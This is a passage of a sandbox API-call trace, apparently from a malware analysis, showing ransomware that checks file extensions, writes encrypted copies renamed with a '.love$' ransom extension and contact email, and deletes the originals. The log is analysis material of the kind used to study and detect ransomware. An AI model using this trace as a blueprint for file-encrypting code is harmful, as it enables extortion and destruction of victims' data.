lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.128] SetEndOfFile (hFile=0x544) returned 1 [0282.128] CloseHandle (hObject=0x544) returned 1 [0282.128] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.128] SetEndOfFile (hFile=0x380) returned 1 [0282.132] CloseHandle (hObject=0x380) returned 1 [0282.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0282.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.135] lstrlenW (lpString=".doc") returned 4 [0282.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.135] lstrlenW (lpString=".docx") returned 5 [0282.135] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0282.135] lstrlenW (lpString=".pdf") returned 4 [0282.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.135] lstrlenW (lpString=".xls") returned 4 [0282.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.135] lstrlenW (lpString=".xlsx") returned 5 [0282.135] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0282.135] lstrlenW (lpString=".ppt") returned 4 [0282.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.135] lstrlenW (lpString=".zip") returned 4 [0282.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.135] lstrlenW (lpString=".rar") returned 4 [0282.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.135] lstrlenW (lpString=".bz2") returned 4 [0282.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.135] lstrlenW (lpString=".7z") returned 3 [0282.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.135] lstrlenW (lpString=".dbf") returned 4 [0282.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.136] lstrlenW (lpString=".1cd") returned 4 [0282.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.136] lstrlenW (lpString=".jpg") returned 4 [0282.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.136] lstrlenW (lpString=".doc") returned 4 [0282.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString=".docx") returned 5 [0282.136] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0282.136] lstrlenW (lpString=".pdf") returned 4 [0282.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString=".xls") returned 4 [0282.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.136] lstrlenW (lpString=".xlsx") returned 5 [0282.136] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0282.136] lstrlenW (lpString=".ppt") returned 4 [0282.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.136] lstrlenW (lpString=".zip") returned 4 [0282.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.136] lstrlenW (lpString=".rar") returned 4 [0282.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString=".bz2") returned 4 [0282.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString=".7z") returned 3 [0282.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.136] lstrlenW (lpString=".dbf") returned 4 [0282.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.137] lstrlenW (lpString=".1cd") returned 4 [0282.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0282.137] lstrlenW (lpString=".jpg") returned 4 [0282.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.137] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0282.137] lstrlenW (lpString="J0107026.WMF") returned 12 [0282.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0282.138] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7632) returned 1 [0282.138] CloseHandle (hObject=0x380) returned 1 [0282.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0282.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0282.139] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.139] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0282.140] GetLastError () returned 0x0 [0282.140] ReadFile (in: hFile=0x380, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0282.345] WriteFile (in: hFile=0x544, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1de0, lpOverlapped=0x0) returned 1 [0282.346] ReadFile (in: hFile=0x380, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.346] WriteFile (in: hFile=0x544, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.347] SetEndOfFile (hFile=0x544) returned 1 [0282.347] CloseHandle (hObject=0x544) returned 1 [0282.347] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.347] SetEndOfFile (hFile=0x380) returned 1 [0282.353] CloseHandle (hObject=0x380) returned 1 [0282.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0282.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.355] lstrlenW (lpString=".doc") returned 4 [0282.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.355] lstrlenW (lpString=".docx") returned 5 [0282.355] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0282.356] lstrlenW (lpString=".pdf") returned 4 [0282.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString=".xls") returned 4 [0282.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.356] lstrlenW (lpString=".xlsx") returned 5 [0282.356] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0282.356] lstrlenW (lpString=".ppt") returned 4 [0282.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.356] lstrlenW (lpString=".zip") returned 4 [0282.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.356] lstrlenW (lpString=".rar") returned 4 [0282.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString=".bz2") returned 4 [0282.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString=".7z") returned 3 [0282.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.356] lstrlenW (lpString=".dbf") returned 4 [0282.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.356] lstrlenW (lpString=".1cd") returned 4 [0282.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.356] lstrlenW (lpString=".jpg") returned 4 [0282.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.356] lstrlenW (lpString=".doc") returned 4 [0282.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString=".docx") returned 5 [0282.357] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0282.357] lstrlenW (lpString=".pdf") returned 4 [0282.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString=".xls") returned 4 [0282.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.357] lstrlenW (lpString=".xlsx") returned 5 [0282.357] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0282.357] lstrlenW (lpString=".ppt") returned 4 [0282.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.357] lstrlenW (lpString=".zip") returned 4 [0282.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.357] lstrlenW (lpString=".rar") returned 4 [0282.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString=".bz2") returned 4 [0282.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString=".7z") returned 3 [0282.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.357] lstrlenW (lpString=".dbf") returned 4 [0282.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.357] lstrlenW (lpString=".1cd") returned 4 [0282.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0282.357] lstrlenW (lpString=".jpg") returned 4 [0282.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.357] lstrlenW (lpString=".id-") returned 4 [0282.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5280 | out: hHeap=0x670000) returned 1 [0282.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c130 | out: hHeap=0x670000) returned 1 [0282.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fe48 | out: hHeap=0x670000) returned 1 [0282.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3241df8 | out: hHeap=0x670000) returned 1 [0282.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x397c020 | out: hHeap=0x670000) returned 1 [0282.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c50e8 | out: hHeap=0x670000) returned 1 [0282.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x41139e0 [0282.366] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x41139e0, Size=0x20) returned 0x41aac18 [0282.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b30 [0282.366] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b30, Size=0x20) returned 0x41aab50 [0282.366] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.366] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.366] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff50 | out: OldValue=0x2acff50*=0x1) returned 1 [0282.366] lstrlenW (lpString="kernel32.dll") returned 12 [0282.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aab50 | out: hHeap=0x670000) returned 1 [0282.366] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac18 | out: hHeap=0x670000) returned 1 Thread: id = 38 os_tid = 0xdd0 [0218.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x71dfe8 [0218.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x72dff0 [0218.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5c28 [0218.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c120 [0218.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5dd8 [0218.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x311f020 [0218.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5c40 [0218.066] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5c40, Size=0x20) returned 0x6ad750 [0218.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5c40 [0218.067] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5c40, Size=0x20) returned 0x6ad7a0 [0218.067] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0218.067] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0218.067] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff50 | out: OldValue=0x2c0ff50*=0x0) returned 1 [0218.067] lstrlenW (lpString="kernel32.dll") returned 12 [0218.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad750 | out: hHeap=0x670000) returned 1 [0218.067] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0218.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad7a0 | out: hHeap=0x670000) returned 1 [0218.068] Sleep (dwMilliseconds=0x64) [0218.187] Sleep (dwMilliseconds=0x64) [0218.294] Sleep (dwMilliseconds=0x64) [0218.406] Sleep (dwMilliseconds=0x64) [0218.512] Sleep (dwMilliseconds=0x64) [0218.623] Sleep (dwMilliseconds=0x64) [0218.731] Sleep (dwMilliseconds=0x64) [0218.842] Sleep (dwMilliseconds=0x64) [0218.949] Sleep (dwMilliseconds=0x64) [0219.059] Sleep (dwMilliseconds=0x64) [0219.168] Sleep (dwMilliseconds=0x64) [0219.284] Sleep (dwMilliseconds=0x64) [0219.444] Sleep (dwMilliseconds=0x64) [0222.599] Sleep (dwMilliseconds=0x64) [0223.020] Sleep (dwMilliseconds=0x64) [0223.278] Sleep (dwMilliseconds=0x64) [0223.557] lstrcmpiW (lpString1=".LOG", lpString2=".love$") returned -1 [0223.557] lstrlenW (lpString="BCD.LOG") returned 7 [0223.557] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.558] lstrlenW (lpString=".doc") returned 4 [0223.558] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0223.558] lstrlenW (lpString=".docx") returned 5 [0223.558] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0223.558] lstrlenW (lpString=".pdf") returned 4 [0223.558] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0223.558] lstrlenW (lpString=".xls") returned 4 [0223.558] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0223.558] lstrlenW (lpString=".xlsx") returned 5 [0223.558] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0223.558] lstrlenW (lpString=".ppt") returned 4 [0223.558] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0223.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.558] lstrlenW (lpString=".zip") returned 4 [0223.558] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0223.558] lstrlenW (lpString=".rar") returned 4 [0223.558] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0223.558] lstrlenW (lpString=".bz2") returned 4 [0223.558] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0223.558] lstrlenW (lpString=".7z") returned 3 [0223.558] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0223.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.558] lstrlenW (lpString=".dbf") returned 4 [0223.558] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0223.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.558] lstrlenW (lpString=".1cd") returned 4 [0223.558] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0223.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.559] lstrlenW (lpString=".jpg") returned 4 [0223.559] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0223.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.559] lstrlenW (lpString=".doc") returned 4 [0223.559] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0223.559] lstrlenW (lpString=".docx") returned 5 [0223.559] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0223.559] lstrlenW (lpString=".pdf") returned 4 [0223.559] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0223.559] lstrlenW (lpString=".xls") returned 4 [0223.559] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0223.559] lstrlenW (lpString=".xlsx") returned 5 [0223.559] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0223.559] lstrlenW (lpString=".ppt") returned 4 [0223.559] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0223.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.559] lstrlenW (lpString=".zip") returned 4 [0223.559] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0223.559] lstrlenW (lpString=".rar") returned 4 [0223.559] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0223.559] lstrlenW (lpString=".bz2") returned 4 [0223.559] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0223.559] lstrlenW (lpString=".7z") returned 3 [0223.559] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0223.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.559] lstrlenW (lpString=".dbf") returned 4 [0223.559] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0223.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.560] lstrlenW (lpString=".1cd") returned 4 [0223.560] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0223.560] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0223.560] lstrlenW (lpString=".jpg") returned 4 [0223.560] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0223.560] Sleep (dwMilliseconds=0x64) [0223.792] Sleep (dwMilliseconds=0x64) [0224.011] lstrcmpiW (lpString1=".p7b", lpString2=".love$") returned 1 [0224.014] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0224.014] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0224.060] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4662) returned 1 [0224.060] CloseHandle (hObject=0x388) returned 1 [0224.060] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0224.060] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.060] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.061] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.061] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.061] lstrlenW (lpString=".doc") returned 4 [0224.061] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0224.061] lstrlenW (lpString=".docx") returned 5 [0224.061] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0224.061] lstrlenW (lpString=".pdf") returned 4 [0224.061] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0224.061] lstrlenW (lpString=".xls") returned 4 [0224.061] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0224.061] lstrlenW (lpString=".xlsx") returned 5 [0224.061] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0224.061] lstrlenW (lpString=".ppt") returned 4 [0224.061] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0224.061] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.061] lstrlenW (lpString=".zip") returned 4 [0224.061] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0224.061] lstrlenW (lpString=".rar") returned 4 [0224.061] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0224.062] lstrlenW (lpString=".bz2") returned 4 [0224.062] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0224.062] lstrlenW (lpString=".7z") returned 3 [0224.062] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0224.062] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.062] lstrlenW (lpString=".dbf") returned 4 [0224.062] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0224.062] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.062] lstrlenW (lpString=".1cd") returned 4 [0224.062] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0224.062] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.062] lstrlenW (lpString=".jpg") returned 4 [0224.062] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0224.062] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.062] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.062] lstrlenW (lpString=".doc") returned 4 [0224.062] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0224.062] lstrlenW (lpString=".docx") returned 5 [0224.062] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0224.062] lstrlenW (lpString=".pdf") returned 4 [0224.062] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0224.062] lstrlenW (lpString=".xls") returned 4 [0224.062] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0224.062] lstrlenW (lpString=".xlsx") returned 5 [0224.062] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0224.062] lstrlenW (lpString=".ppt") returned 4 [0224.063] lstrcmpiW 